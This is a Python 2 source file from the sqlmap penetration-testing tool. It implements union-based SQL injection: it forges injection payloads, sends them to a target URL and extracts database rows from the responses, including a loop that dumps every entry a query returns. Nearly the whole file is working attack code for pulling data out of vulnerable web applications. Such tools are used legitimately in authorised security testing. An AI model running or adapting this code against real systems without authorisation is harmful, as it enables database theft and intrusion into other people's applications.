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277 lines
10 KiB
Python
277 lines
10 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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import time
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from lib.core.agent import agent
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from lib.core.common import Backend
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from lib.core.common import calculateDeltaSeconds
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from lib.core.common import clearConsoleLine
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from lib.core.common import dataToStdout
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from lib.core.common import extractRegexResult
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from lib.core.common import filterStringValue
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from lib.core.common import getUnicode
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from lib.core.common import initTechnique
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from lib.core.common import isNumPosStrValue
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from lib.core.common import listToStrValue
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from lib.core.common import parseUnionPage
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from lib.core.common import removeReflectiveValues
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.enums import DBMS
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from lib.core.enums import PAYLOAD
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from lib.core.exception import sqlmapSyntaxException
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from lib.core.settings import FROM_TABLE
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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from lib.utils.resume import resume
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reqCount = 0
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def __oneShotUnionUse(expression, unpack=True):
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global reqCount
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check = "(?P<result>%s.*%s)" % (kb.misc.start, kb.misc.stop)
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# Prepare expression with delimiters
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expression = agent.concatQuery(expression, unpack)
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expression = unescaper.unescape(expression)
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if conf.limitStart or conf.limitStop:
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where = PAYLOAD.WHERE.NEGATIVE
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else:
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where = None
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# Forge the inband SQL injection request
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vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
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query = agent.forgeInbandQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5])
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payload = agent.payload(newValue=query, where=where)
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# Perform the request
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page, headers = Request.queryPage(payload, content=True, raise404=False)
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reqCount += 1
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# Parse the returned page to get the exact union-based
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# sql injection output
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output = extractRegexResult(check, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE) \
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or extractRegexResult(check, removeReflectiveValues(listToStrValue(headers.headers \
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if headers else None), payload), re.DOTALL | re.IGNORECASE)
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if output:
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output = getUnicode(output, kb.pageEncoding)
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return output
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def configUnion(char=None, columns=None):
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def __configUnionChar(char):
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if char.isdigit() or char == "NULL":
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conf.uChar = char
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elif not char.startswith("'") or not char.endswith("'"):
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conf.uChar = "'%s'" % char
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def __configUnionCols(columns):
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if "-" not in columns or len(columns.split("-")) != 2:
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raise sqlmapSyntaxException, "--union-cols must be a range with hyphon (e.g. 1-10)"
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columns = columns.replace(" ", "")
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colsStart, colsStop = columns.split("-")
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if not colsStart.isdigit() or not colsStop.isdigit():
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raise sqlmapSyntaxException, "--union-cols must be a range of integers"
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conf.uColsStart = int(colsStart)
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conf.uColsStop = int(colsStop)
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if conf.uColsStart > conf.uColsStop:
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errMsg = "--union-cols range has to be from lower to "
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errMsg += "higher number of columns"
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raise sqlmapSyntaxException, errMsg
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if isinstance(conf.uChar, basestring):
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__configUnionChar(conf.uChar)
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elif isinstance(char, basestring):
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__configUnionChar(char)
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if isinstance(conf.uCols, basestring):
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__configUnionCols(conf.uCols)
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elif isinstance(columns, basestring):
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__configUnionCols(columns)
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def unionUse(expression, unpack=True, dump=False):
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"""
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This function tests for an inband SQL injection on the target
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url then call its subsidiary function to effectively perform an
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inband SQL injection on the affected url
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"""
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initTechnique(PAYLOAD.TECHNIQUE.UNION)
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global reqCount
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count = None
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origExpr = expression
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startLimit = 0
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stopLimit = None
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test = True
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value = ""
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reqCount = 0
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start = time.time()
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_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
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# We have to check if the SQL query might return multiple entries
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# and in such case forge the SQL limiting the query output one
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# entry per time
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# NOTE: I assume that only queries that get data from a table can
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# return multiple entries
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if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
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(dump and (conf.limitStart or conf.limitStop))) and \
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" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
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not in FROM_TABLE) or (Backend.getIdentifiedDbms() in FROM_TABLE \
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and not expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
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and not any(map(lambda x: x in expression.upper(), ["(CASE", "COUNT(*)", "EXISTS(", "MAX(", "MIN("])):
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limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
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topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
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if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
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if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
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limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
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limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
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if limitRegExp:
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limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
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limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif topLimit:
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startLimit = 0
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stopLimit = int(topLimit.group(1))
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limitCond = int(stopLimit) > 1
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elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
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limitCond = False
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else:
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limitCond = True
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# I assume that only queries NOT containing a "LIMIT #, 1"
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# (or similar depending on the back-end DBMS) can return
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# multiple entries
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if limitCond:
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if limitRegExp:
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stopLimit = int(stopLimit)
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# From now on we need only the expression until the " LIMIT "
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# (or similar, depending on the back-end DBMS) word
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if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
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stopLimit += startLimit
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untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
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expression = expression[:untilLimitChar]
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elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
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stopLimit += startLimit
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elif dump:
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if conf.limitStart:
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startLimit = conf.limitStart
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if conf.limitStop:
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stopLimit = conf.limitStop
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# Count the number of SQL query entries output
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countedExpression = expression.replace(expressionFields, "COUNT(*)", 1)
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if re.search(" ORDER BY ", expression, re.I):
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untilOrderChar = countedExpression.index(" ORDER BY ")
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countedExpression = countedExpression[:untilOrderChar]
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count = resume(countedExpression, None)
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count = parseUnionPage(count, countedExpression)
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if not count or not count.isdigit():
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output = __oneShotUnionUse(countedExpression, unpack)
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if output:
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count = parseUnionPage(output, countedExpression)
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if (not count or (count.isdigit() and int(count) == 0)):
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warnMsg = "it was not possible to count the number "
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warnMsg += "of entries for the used SQL query. "
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warnMsg += "sqlmap will assume that it returns only "
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warnMsg += "one entry"
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logger.warn(warnMsg)
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stopLimit = 1
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elif isNumPosStrValue(count):
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if isinstance(stopLimit, int) and stopLimit > 0:
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stopLimit = min(int(count), int(stopLimit))
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else:
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stopLimit = int(count)
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infoMsg = "the SQL query used returns "
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infoMsg += "%d entries" % stopLimit
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logger.info(infoMsg)
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try:
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for num in xrange(startLimit, stopLimit):
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if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
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field = expressionFieldsList[0]
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elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
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field = expressionFieldsList
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else:
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field = None
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limitedExpr = agent.limitQuery(num, expression, field)
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output = resume(limitedExpr, None)
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if not output:
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output = __oneShotUnionUse(limitedExpr, unpack)
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if output:
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value += output
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if conf.verbose == 1:
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length = stopLimit - startLimit
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count = num - startLimit + 1
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status = '%d/%d entries (%d%s)' % (count, length, round(100.0*count/length), '%')
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dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), status), True)
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if conf.verbose == 1:
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clearConsoleLine(True)
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except KeyboardInterrupt:
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print
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warnMsg = "Ctrl+C detected in dumping phase"
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logger.warn(warnMsg)
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if not value:
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value = __oneShotUnionUse(expression, unpack)
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duration = calculateDeltaSeconds(start)
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debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
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logger.debug(debugMsg)
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return value
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